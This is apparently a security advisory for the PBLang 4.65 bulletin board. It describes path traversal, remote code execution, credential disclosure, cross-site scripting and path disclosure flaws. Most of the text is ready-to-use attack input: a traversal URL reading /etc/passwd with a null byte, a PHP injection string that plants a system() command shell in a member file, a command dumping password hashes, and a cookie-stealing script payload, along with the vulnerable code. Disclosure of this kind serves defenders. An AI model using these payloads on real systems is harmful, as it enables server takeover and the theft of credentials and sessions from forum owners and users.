`PBLang 4.65 (possibly prior versions) remote code execution / administrative
credentials disclosure / system information disclosure / cross site scripting /
path disclosure
software:
description: PBLang is a powerful flatfile Bulletin Board System. It combines
many features of a professional board, but does not even require SQL support. It
is completely based on text-file.
site: http://pblang.drmartinus.de/
download: https://sourceforge.net/project/showfiles.php?group_id=62953
1) system disclosure:
you can traverse directories and see any file (if not .php or .php3 etc.) and
include any file on target system using '../' chars and null byte (%00), example:
http://target]/[path]/pblang/setcookie.php?u=../../../../../etc/passwd%00
vulnerable code in setcookie.php:
...
16 $usrname=$HTTP_GET_VARS['u'];
17 @include($dbpath.'/'.$usrname.'temp');
...
2) remote code execution:
board stores data in files, when you register a [username] file without extension
is created in /db/members directory, inside we have php code executed when you
login, so in location field type:
madrid"; system($HTTP_POST_VARS[cmd]); echo "
in /db/members/[username] file we have
...
$userlocation="madrid"; system($HTTP_GET_VARS[cmd]); echo "";
...
no way to access the script directly, /db/members is .htaccess protected
and extra lines are deleted from files after you login, so you should make
all in a POST request and re-register
this is my proof of concept exploit, to include [username] file I make a GET
request of setcookie.php?u=[username]%00&cmd=[command] but you can call username
file through some other inclusion surely when you surf the forum:

3)admin/user credentials disclosure:
you can see password hash of any user or admin sending the command:
cat ./db/members/[username]
4) cross site scripting:
register and in location field type:
madrid"; echo "<script>alert(document.cookie)</script>
then check this url:
http://[target]/[path]/setcookie.php?u=[username]%00
5) path disclosure:
http://[target]/[path]/setcookie.php?u=%00
